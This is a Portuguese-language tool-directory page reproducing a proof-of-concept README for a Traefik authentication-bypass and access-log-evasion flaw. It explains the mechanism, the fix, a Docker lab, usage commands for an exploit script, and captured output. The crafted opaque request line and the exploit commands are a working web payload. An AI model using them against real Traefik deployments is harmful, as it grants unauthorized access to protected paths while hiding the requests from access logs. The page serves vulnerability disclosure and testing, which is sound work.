Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-88009-PoC — CVE-2026-88009 — O Traefik encaminha um alvo de requisição opaco sem raiz que o roteamento/forwardAuth enxerga como '/'. Bypass de autenticação + evasão de log de acesso, verificado nas versões v3.7.10 / v3.7.13. | Kitploit
Ferramentas/GitHubGitHub/boreas37/cve-2026-88009-poc
Análise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Aplicações WebSegurança WebAutenticaçãoLabs e Prática
GitHub
boreas37/cve-2026-88009-poc

CVE-2026-88009-PoC

CVE-2026-88009 — O Traefik encaminha um alvo de requisição opaco sem raiz que o roteamento/forwardAuth enxerga como '/'. Bypass de autenticação + evasão de log de acesso, verificado nas versões v3.7.10 / v3.7.13.

Ver Repositório
6há 24 diasAinda não revisado
Compartilhar

CVE-2026-88009 — Traefik encaminha um request target opaco como /, mas o repassa literalmente

Afetado: Traefik < 2.11.57, e 3.0.0 – 3.7.13 Corrigido: 2.11.57 / 3.7.13 Correção: commit 58d1e9ca2045 "Deny request with an opaque request target" — denyOpaque em pkg/server/server_entrypoint_tcp.go Aviso: GHSA-f52w-8j3h-j724 · CVSS 8.8 · CWE-1286 / CWE-444

Mecanismo

O net/http do Go não impõe a forma de origem (origin-form) ao request target: ele entrega o target bruto para url.ParseRequestURI. Um target como

GET http:http://app.local/private/secret HTTP/1.1

é analisado como {Scheme:"http", Opaque:"http://app.local/private/secret", Path:""} — um alvo absolute-form legal segundo a RFC 9112 §3.2.2. O Traefik então avalia tudo contra um caminho que normaliza para /:

  • sanitizePath chama URL.JoinPath(), que copia Opaque e define Path="/";
  • o muxer faz a correspondência com base em Path, então PathPrefix(/) (e qualquer router Host()) corresponde;
  • forwardAuth constrói X-Forwarded-Uri a partir de URL.RequestURI(), que retorna Opaque, então o servidor de autenticação vê http://app.local/private/secret em vez de /private/secret e uma política de prefixo de caminho falha aberta;
  • encodedCharacters inspeciona EscapedPath() → /;
  • o log de acesso grava GET / HTTP/1.1.

A requisição de saída é escrita novamente com URL.RequestURI(), que retorna Opaque literalmente, então o backend recebe o alvo portador de autoridade do atacante e o resolve para /private/secret.

A correção envolve o handler do entrypoint por último para que ele seja executado primeiro:

func denyOpaque(h http.Handler) http.Handler {
	return http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
		if req.URL.Opaque != "" {
			log.WithoutContext().Debugf("Rejecting request because it has an opaque URL: %s", req.URL.Opaque)
			rw.WriteHeader(http.StatusBadRequest)
			return
		}
		h.ServeHTTP(rw, req)
	})
}

Lab

funçãoimagemcontêinerporta do host
proxy vulneráveltraefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21020 → :8001 (entrypoint opaque)
proxy corrigidotraefik:v3.7.13poc-traefik-3713127.0.0.1:21023 → :8001
  • Router PathPrefix(/) com forwardAuth → http://authz:8080/check.
  • poc-traefik-authz implementa uma política de prefixo de caminho: X-Forwarded-Uri começando com /private → 403 DENY, todo o resto → 200 ALLOW; ele registra a URI exata sobre a qual foi consultado.
  • poc-traefik-app resolve um alvo rootless/absoluto para um caminho (o comportamento que o advisory exige do backend: "against a backend that resolves a rootless target as a path") e serve SECRET-AREA … para /private/*.
  • Receita: lab/README.md.

Uso

python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020   # vulnerable
python3 cve_2026_88009.py check   --url http://127.0.0.1:21023   # fixed

O PoC fala raw sockets de propósito: curl normaliza o alvo e http.client recusa um caminho que não esteja na forma de origem, então ambos escondem o bug. --path, --vhost, --output estão disponíveis.

Verificação (saída real)

1. traefik:v3.7.10 vulnerável — bypass do forwardAuth

$ python3 cve_2026_88009.py exploit --url http://127.0.0.1:21020
[*] target            : http://127.0.0.1:21020
[*] protected path    : /private/secret
[*] opaque target     : http:http://app.local/private/secret
[*] mode              : exploit
[*] control  GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
    body: DENY uri=/private/secret
[*] bypass   GET http:http://app.local/private/secret HTTP/1.1
    -> HTTP/1.1 200 OK
    SECRET-AREA internal data served for /private/secret
    request_line: GET http://app.local/private/secret HTTP/1.1
    resolved_path: /private/secret
=> PASS (opaque target bypassed forwardAuth and reached /private/secret: HTTP 200, backend served the protected content)

O servidor de autenticação foi consultado, mas com o URI no formato do atacante — este é o fail-open, a partir do log do contêiner de autorização:

[authz] X-Forwarded-Uri='/private/secret' -> 403
[authz] X-Forwarded-Uri='http://app.local/private/secret' -> 200
[authz] X-Forwarded-Uri='/private/secret' -> 403

E o log de acesso do proxy oculta o ataque — a requisição é registrada como /:

192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET /private/secret HTTP/1.1" 403 24 "-" "-" 2 "opaque-lab@file" "-" 1ms
192.168.48.1 - - [24/Oct/2026:13:22:28 +0000] "GET / HTTP/1.1" 200 143 "-" "-" 3 "opaque-lab@file" "http://app:8080" 2ms

2. Mesmo proxy, requisição em formato de origem (controle)

$ curl -sS -w '\n[%{http_code}]\n' http://127.0.0.1:21020/private/secret
DENY uri=/private/secret
[403]

3. traefik:v3.7.13 fixo — destino opaco rejeitado antes do roteamento

$ python3 cve_2026_88009.py check --url http://127.0.0.1:21023
[*] target            : http://127.0.0.1:21023
[*] protected path    : /private/secret
[*] opaque target     : http:http://app.local/private/secret
[*] mode              : check
[*] control  GET /private/secret HTTP/1.1 -> HTTP/1.1 403 Forbidden
    body: DENY uri=/private/secret
[*] bypass   GET http:http://app.local/private/secret HTTP/1.1
    -> HTTP/1.1 400 Bad Request
=> PASS (fixed: opaque request target rejected with HTTP 400 before routing)

Notas / limitações

  • Demonstrado: bypass de autorização com escopo de caminho (forwardAuth fail-open) e evasão de log de acesso. A mesma forma de alvo também permite roteamento entre vhosts (o backend recebe http://app.local/…, ou seja, uma autoridade que nunca viu do roteador), porque o roteamento correspondia a Path="/" enquanto o alvo encaminhado carrega o host embutido.
  • O bypass de encodedCharacters não foi reproduzido separadamente (o laboratório não habilita allowEncodedSlash=false); ele decorre do mesmo raciocínio EscapedPath()=="/" documentado no advisory.
  • O backend resolve deliberadamente alvos sem raiz para caminhos; um backend que os rejeitasse neutralizaria este exploit ponta a ponta específico, mas não a lógica de bypass de autenticação no proxy (a decisão de guarda já está errada antes do encaminhamento).
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    717
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    504
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    402
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    260
  • 6

    antifox

    antifox-ai/antifox

    Plataforma de testes de penetração autónoma com multiagentes de IA que executa reconhecimento, descoberta de superfície de ataque, validação de exploração e entrega de relatórios com evidências.

    259

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →